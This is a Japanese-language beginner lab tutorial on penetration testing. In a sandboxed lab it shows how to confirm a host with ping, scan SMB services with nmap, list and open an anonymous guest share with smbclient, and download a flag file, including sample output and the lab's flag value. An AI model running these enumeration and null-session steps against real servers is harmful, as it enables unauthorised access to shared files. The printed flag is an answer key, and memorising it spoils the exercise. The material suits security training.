SMB 列挙とゲストアクセス

LinuxBeginner
オンラインで実践に進む

はじめに

このハンズオン Lab では、Server Message Block (SMB) の列挙と悪用について学びます。SMB はネットワークファイル共有プロトコルであり、コンピューター上のアプリケーションがネットワーク上のコンピューターのサーバープログラムからファイルへの読み書きやサービスの要求を可能にします。その広範な使用により、攻撃者にとって一般的な標的となっています。

この Lab では、ペネトレーションテスターの役割を担います。まず、基本的なネットワーク偵察から始め、ターゲットがオンラインであることを確認します。次に、強力なスキャンツールである nmap を使用して、開いている SMB サービスを発見します。最後に、smbclient を使用してサービスを調査し、匿名ゲストアクセスを許可する設定ミスを見つけ、公開共有から隠されたフラグを取得します。

完了すると、以下の方法を理解できるようになります。

  • ping を使用してネットワーク接続を確認する。
  • nmap を使用して開いている SMB ポートとサービスをスキャンする。
  • smbclient を使用して SMB シェアを列挙し、接続する。
  • ゲストアクセス設定ミスを悪用してファイルを取得する。

始めましょう。

Ping によるターゲットへの接続確認

最初のステップとして、基本的な偵察タスクを実行します。これは、ターゲットマシンがオンラインであり、攻撃者マシンから到達可能であることを確認することです。ping コマンドは、ホストに応答があるかテストするために ICMP パケットを送信する、このための標準的なユーティリティです。

お使いの環境には target というエイリアスが付いたターゲットシステムが含まれています。接続を確認するには、ターミナルで以下のコマンドを実行して 4 つのパケットを送信してください。

ping -c 4 target

-c 4 フラグは、ping に正確に 4 つのパケットを送信して停止するように指示します。成功した場合の結果は、以下の出力と同様に、ターゲットからの応答が表示されます。IP アドレスと時間は異なる場合があります。

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

「4 packets transmitted, 4 received, 0% packet loss」と表示されることは、お使いのマシンがターゲットと通信できることを確認し、次の列挙フェーズの準備が整ったことを意味します。

Nmap によるオープンポートのスキャン

このステップでは、nmap (Network Mapper) を使用してターゲットの開いているポートをスキャンし、実行中のサービスを特定します。これは、潜在的な攻撃ベクトルを見つけるための重要なステップです。ここでは、SMB サービスにスキャンを集中させます。

サービスバージョン検出 (-sV) スキャンを実行し、target 上の SMB プロトコルをチェックするためのスクリプト (--script) を実行するには、以下の nmap コマンドを実行してください。

nmap -sV --script smb-protocols target

しばらくすると、nmap が結果を報告します。出力は以下のようになります。

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
| smb-protocols:
|   dialects:
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds

出力は、ポート 139/tcp445/tcp が開いており、Samba サービスが実行されていることを確認します。ポート 445 は SMB のモダンなポートです。この発見は、SMB サービスに脆弱性がないか調査する合図となります。

SMB によるターゲットへの接続

このステップでは、smbclient ユーティリティを使用してターゲット上の SMB サービスと対話します。「null session」または匿名ログインとして知られる手法である、パスワードなしで接続できるかどうかを確認することが目標です。

まず、ターゲットで利用可能な共有を一覧表示します。-L フラグはサービスを一覧表示し、-N フラグはパスワードなしで接続を試みます。

以下のコマンドを実行してください。

smbclient -L //target -N

サーバーがゲストアクセスを許可するように誤って設定されている場合、利用可能な共有のリストが表示されます。出力は以下のようになります。

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk
        IPC$            IPC       IPC Service (Samba Server)
SMB1 disabled -- no workgroup available

ここで重要な発見は public 共有です。その名前は、誰でもアクセスできる可能性を示唆しています。次のステップでは、この共有に接続してその内容を探索します。

ターゲットシステムを探索し、フラグを見つける

この最終ステップでは、発見した public 共有に接続し、フラグを検索します。これは、攻撃者が貴重なデータを検索するポストエクスプロイテーションフェーズをシミュレートします。

匿名アクセス用の -N フラグを再度使用して、smbclient を使用し、public 共有に直接接続します。

smbclient //target/public -N

接続が成功すると、smb: \> のような smbclient プロンプトが表示されます。これでリモートファイル共有をブラウジングできます。

Try "help" to get a list of possible commands.
smb: \>

ls コマンドを使用して、共有の内容を一覧表示します。

ls

flag.txt ファイルが一覧表示されているはずです。

smb: \> ls
  .                                   D        0  Fri Sep 19 10:29:39 2025
  ..                                  D        0  Fri Sep 19 10:29:39 2025
  flag.txt                            N       29  Fri Sep 19 10:29:39 2025

  40901312 blocks of size 1024. 22067688 blocks available

次に、get コマンドを使用してファイルをローカルマシンにダウンロードします。

get flag.txt

注:smbclient ユーティリティには、ファイルの内容を直接表示するための組み込み cat コマンドはありません。まず get を使用してファイルをダウンロードする必要があります。

ダウンロードが完了したら、exit と入力して smbclient セッションを終了します。最後に、ローカルターミナルで cat コマンドを使用して、ダウンロードしたフラグの内容を表示します。

cat flag.txt

ターミナルにフラグの値が表示されます。

labex{smb_gu3st_acc3ss_fl4g}

おめでとうございます!SMB サービスを正常に列挙し、ゲストアクセスの設定ミスを悪用して、フラグを取得しました。フラグの値をコピーしてラボを完了してください。

まとめ

この実験では、設定ミスのある SMB サービスに対して基本的なペネトレーションテストのワークフローを正常に完了しました。以下の方法を学習し、実践しました。

  • ping を使用してターゲットとのネットワーク接続を確認する。
  • nmap を使用して開いているポートをスキャンし、SMB サービスを特定する。
  • smbclient -L を使用して、匿名で利用可能なネットワーク共有を列挙する。
  • null session を使用して smbclient で開いている SMB 共有に接続する。
  • ls および get を使用してリモート共有をナビゲートし、ファイルをダウンロードする。

この演習は、一般的で重要な脆弱性である、ネットワーク共有への匿名またはゲストアクセスを許可することを示しています。このような設定ミスは、機密データの漏洩につながる可能性があります。これらの弱点を見つけて悪用する方法を理解することで、それらに対する自身のシステムをより適切に保護できるようになります。